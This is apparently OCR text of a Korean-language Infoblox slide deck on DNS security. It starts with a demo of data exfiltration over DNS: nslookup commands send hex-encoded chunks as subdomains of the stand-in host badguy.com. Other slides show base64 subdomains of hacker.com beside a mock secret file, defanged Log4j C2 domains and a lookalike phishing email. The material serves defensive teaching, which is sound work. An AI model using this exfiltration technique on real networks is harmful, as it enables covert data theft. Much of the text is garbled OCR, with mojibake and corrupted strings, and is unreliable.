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$ nslookup 48692e0a496620796f75206172652072656164696e672074686973206d65.1.badguy.com.

** server can't find 48692e0a496620796f75206172652072656164696e672074686973206d65.1.badguy.com: NXDOMAIN
$ nslookup 73736167652c0a796f752068617665207375636365737366756c6c792063.2.badguy.com.

** server can't find 73736167652c0a796f752068617665207375636365737366756c6c792063.2.badguy.com: NXDOMAIN
$ nslookup 6f6e7665727465640a612068657864756d7020696e746f2062696€617279.3.badguy.com.

** server can't find 6f6e7665727465640a612068657864756d7020696e746f2062696e617279.3.badguy.com: NXDOMAIN
$ nslookup 2c207573696e67207468650a27787864202d722073746f6c656e64617461.4.badguy.com.

** server can't find 2c207573696e67207468650a27787864202d722073746f6c656e64617461.4.badguy.com: NXDOMAIN
$ nslookup 2e7478742720636f6d6d616e642e0a0a546869732066696c652069732075.5.badguy.com.

** server can't find 2e7478742720636f6d6d616e642e0a0a546869732066696c652069732075.5.badguy.com: NXDOMAIN
$ nslookup 73656420746f2064656d6f6e7374726174650a686f772064617461206361.6.badguy.com.

** server can't find 73656420746f2064656d6f6e7374726174650a686f772064617461206361.6.badguy.com: NXDOMAIN
$ nslookup 6€206265207472616e73706f72746564207573696e670a726567756c6172.7.badguy.com.

** server can't find 6e206265207472616e73706f72746564207573696e670a726567756¢6172.7.badguy.com: NXDOMAIN
$ nslookup 20444e53207175657269657320746f2061207370656369666963616c6¢79.8.badguy.com.

** server can't find 20444e53207175657269657320746f2061207370656369666963616c6c79.8.badguy.com: NXDOMAIN
$ nslookup 0a636f6e6669677572656420444e53207365727665722074686174206c6f.9.badguy.com.

** server can't find 0a636f6e6669677572656420444e53207365727665722074686174206c6f.9.badguy.com: NXDOMAIN
$ nslookup 677320616c6c0a717565726965732e0a0a5468696e6b2061626f75742074.10.badguy.com.

** server can't find 677320616c6c0a717565726965732e0a0a5468696e6b2061626f75742074.10.badguy,casashiananialy
$ nslookup 686520736563757269747920696d706c69636174696f6e730a7468697320.11.badguy.com.

** server can't find 686520736563757269747920696d706c69636174696f6e730a7468697320.11.badg

$ nslookup 63616e206d65616e20746f20796f757220636f6d70616e792e0a0a496620.12.badguy.com.

** server can't find 63616e206d65616e20746f207961757220636f6d70616e792e0a0a496620.12.badgu C LI C K TO C O N TI N U E
$ nslookup 796f752077616e7420746f206c6561726e206d6f72652c206d7920636f6e.13.badguy.com. nee
** server can't find 79617520776 16e7420746f206c6561726e206d6f72652c206d7920636f6e.13.badguyj

$ nslookup 746163740a696e666f20697320696e20746865207369676e617475726520.14.badguy.com.

** server can't find 746163740a696e666f20697320696e20746865207369676e617475726520.14.badguy.tonmNAoomvmm
$ nslookup 62656c6f772e0a0a4265737420526567617264732c0a0a546f6e79205665.15.badguy.com.

** server can't find 62656c6f772e0a0a4265737420526567617264732c0a0a546f6e79205665.15.badguy.com: NXDOMAIN
$ nslookup 6c6164610a496e666f626c6f780a53656€696f72204368616e6e656¢2053.16.badguy.com.

** server can't find 6¢6164610a496e6661626c6f780a53656e696f72204368616e6e656c2053.16.badguy.com: NXDOMAIN
$ nslookup 452c2055532f576573740a746f76656c61646140696e666f626c6f782e63.17.badguy.com.

** server can't find 452c¢2055532f576573740a746f76656¢c61646140696e666f626c6f782e63.17.badguy.com: NXDOMAIN
$ nslookup 6f6d0a.18.badguy.com.

** server can't find 6f6d0a.18.badguy.com: NXDOMAIN

X N \ (e |
§ ‘ UDP/53 3 DATA IS ABLE TO MOVE FREELY OVER UDP/53 « =
N |
X # @ [
A. Compromised Endpoint B. Malicious DNS Server



File Edit Format View Help

top-secret-mindef-3200.txt - Notepad

TOP SECRET

The Singapore Armed Forces (SAF)
regularly on mainland Singapore
Kang, Mandai as well as on off-s
Pulau Senang and Pulau Pawai.

Besides conducting military exer
unilateral exercises as well as
with other militaries all over t
often allows the SAF to conduct

Internet

IMOIN IRDE 1RALANA
A(INRI 2Dl AP )
2ENE 2520 AES

XIS X2 T PAO{FTF (Driver's License)
21-19-174133-01
sy
0008292134567
MEA MASES sz
97 (0125 209,

g

- A \
EWEAAL 2029

1,08, = s
2% 2 --2029.12.31, = Bm
E T ey 8H1X3Y

.;,5‘2019.09. 1041 2 X1 2t 23 2

Intranet
ol X =1
(1 EEEENE
A top-secret-mindef-3200.txt - Notepad - O
File Edit Format View Help
TOP SECRET ~

The Singapore Armed Forces (SAF) conducts military exercises
regularly on mainland Singapore in areas such as Marsiling, Lim Chu
Kang, Mandai as well as ON | jamem smww 1msm
Pulau Senang and Pulau Pawa =stmisziel aapeee 2u)

ZENE 2520 ASN

XIS XHR T T O F (Driver's License)

21-19-174133-01

IzZIGRpc3Rpbmd1aXNoZWQsIG5IGhpcyByZWFzb24s1GJ1dCBieSB0aGlz.hacker.com
kZWQgYSBuZXcgTWFzdGVylISAoSUItODIwKSBhcyBhIG1hc3RIciBj.hacker.com
RhdGUgaW4gYSBleGlzdGluZyBR3JpZCBNYXNOZXIgaXMgYW4gSUItM.hacker.com
BLgogCldoZW4gd2UgYWRkZWQCBhcyBhIET1hc3RIciBDYW5kaWRhdGU.hacker.com
F3IHR0ZSBmb2xsb3dpbmcgbWVyMjklICOgRGFOYWJhc2UgY 2FwYWNp.hacker.com

Besides conducting military
unilateral exercises as wel
with other militaries all o

3I£_
0008292134567
MEBA MASS sz
o7 (OI=2% 2098
_—

—

often allows the SAF to con - - - o
L BOAA  2029.01.01. —= =
- 3 2t 2029, 12,31, =
;‘Q;, : Eﬁp.hg 2019.09. 10 A S X2 A &

%%



Li2 CO|E] R0 AtBEl= B2

o X ZHE B2 Argf| =AF By
Encrypted channel established by malware g | |
(nonstandard port) |

Theft of company-owned assets
(mobile devices, laptops) |

OOl =2
30%= DNS&
Theft of employee-owned de O|%

USB or other removable me

File-based transfer (FTP, SFTP)

HTTP traffic

I I
0% 10% 20% 30% 40% 50%

Source: SANS Data Protection Survey
L X g
11 | © Infoblox Inc. All rights reserved. 0:0



gHots IT 20| ERHNO2 [HZE 4 YT E O A MEStE FHspELE. 0 e { 2§80 FH MXIY} 2co

S ikl = & 238 447 3 (38 FBMA WY TF.E T

X7 % COHol| CHSH 2 A=A LC
o (2) 221207 (R E0t2) St IT $h20] Ei2iHOR (2% 4 UES 3gH0 7 MTRIS ATeYALIC huf (e | © ISR e el s alpis Rl
e (1) 221227 (BEXH2) SHss IT 3H0] K02 (123 4 YT S 2880 74 MU ATesLCLpdffy | ¢ BBEFE, SBEUA, T 2 M2t S HO

o ofzfo] HAE wgoz= W HESE, FHEO AHM
YEE M o o L C

O g#st= ITan M2 29t 2|20 38|t 50| EEECR TS

o THISA 2ZFHEAEI]) (1220U)00M B oS =olBiHALICY,
O (1eA) & 23 $4ed, 74 834, FEI4 5o B
9% 52 TP o= Wilsle] FAL B (wmad AR

(2gtA]) F88%4e BEFJIS AN, FHIHA Fo ALERG
AA 7= 9 AFIAY FH=E FAES AY| o4F AP

(3dH) EAHE FAAANN AHE FHo= A@ste] F§
AL Bl B A& S Fo

(OIA) 282 &2 22|X/=2ly BEelo UHtsd8 F



=220 AH|A ILE X

HIOIE (ZAM) =& XI'

51

IHo

nlO
Ml

L=

DNS E{

X4



iX15H=

DNS EH'E=&l2 L
H FEH |
3 e

Infoblox 2|




DNS = Infoblox

DNS 0{Z2t0| A

£

o

J0nooaon

2000. 2005

!

J0nooaon

Netcordia (NetMRI)

[J =S
[

Netcordia ff“

ZOL 0

2012

Infoblox IPO
on NYSE

DNS Firewall

ok

DDI market share
19

2014 ~ 2015

.

aws
~

vmware E

6 /AAzure

Virtual DDI & A|
Public & hybrid cloud,
VMWare, OpenStack,

AWS / Azure / GCP

J

Vista 0| A Infoblox

oA
T

\/

VISTA

BloxOne®
Threat Defense

9

2016 ~ 2017

!

Saas 7|gte
HOtDNS

2019

)

SnapRoute

oA
T

. 2020

|

ooo
amnn

BloxOne® DDI

WARBURG PINCUS

Warburg
Pincus 0j|Af
EX} ||

15 | © Infoblox Inc. All rights reserved.  #,

.0
<@
’0



Infoblox?} L|O|E{E§ S 7|2} 6= B

Threat :
Intelligence
+Al/ML Module

Security :

DNS

A
/

7/ 4 \
I %4 DNS 2% F

/7
4
'
‘/

| bIE4 DNS 24

16 | © Infoblox Inc. All rights reserved.

"



A5 4d Domain, IP 249 2 ARC|ITHA X5

Infoblox will continue to monitor Log4j exploitation activity both internally and externally, as
well as update this blog when new indicators are discovered.

facebOOk.com
+ Summary Indicators Confirmed as Malicious
Summary Type [[#]ed Categorization | Notes
More Details 5 . .
DNS Record Count | Do HOST | log[.]exposedbotnets].Jru malicious Muhstik Botnet, C2
]I I Impacted Devices [
Command&Control E2fT s 0 HOST | abrehackbugsi oz rolcious | Bknot Botnet, 2

Recent summary of activitiy

HOST | cuminside[.]Jclub malicious Elknot Botnet, C2
@ © Microsoft OneNote <microsoft@micrasoft-office365.com:

To: © Simon Au

E. 'l _” O—l j:| Il HOST | m3[Jwtf malicious Elknot Botnet, C2

HOST | pwn[.]af malicious Elknot Botnet, C2

10/4/21

Hi Simon, . L

Here's a summary of the recent activity in your
notebook Travel Planning.

@ A new page named Trip was created by

N 5 S MICROSOFT.COM
XEI OH E-I_l | OT/OT _TlCD_ jﬂq Il ® Recommendations was updated by

multiple people. ~
2:30 PM - Travel Planning A

MICROSOFT.COM

- The OneNote Team

MEH S=2 =02l

. B2 Microsoft [ £ | .
S A =0|Q1 (Lookalike) o https:/ /www.apple.com
ST | https://www.apple.com

Privacy Statement | Update Notification Settings

0’0
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